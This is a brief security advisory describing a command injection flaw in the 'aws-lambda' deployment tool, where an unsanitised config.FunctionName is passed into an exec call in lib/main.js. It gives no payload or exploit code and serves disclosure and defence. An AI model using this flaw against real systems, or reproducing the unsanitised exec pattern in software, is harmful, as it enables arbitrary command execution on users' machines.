aws-lambda is a command line tool deploy code to AWS Lambda.
Affected versions of this package are vulnerable to Command Injection. The config.FunctioName is used to construct the argument used within the exec function without any sanitization. It is possible for a user to inject arbitrary commands to the zipCmd used within config.FunctionName located in the file lib/main.js (line 78).
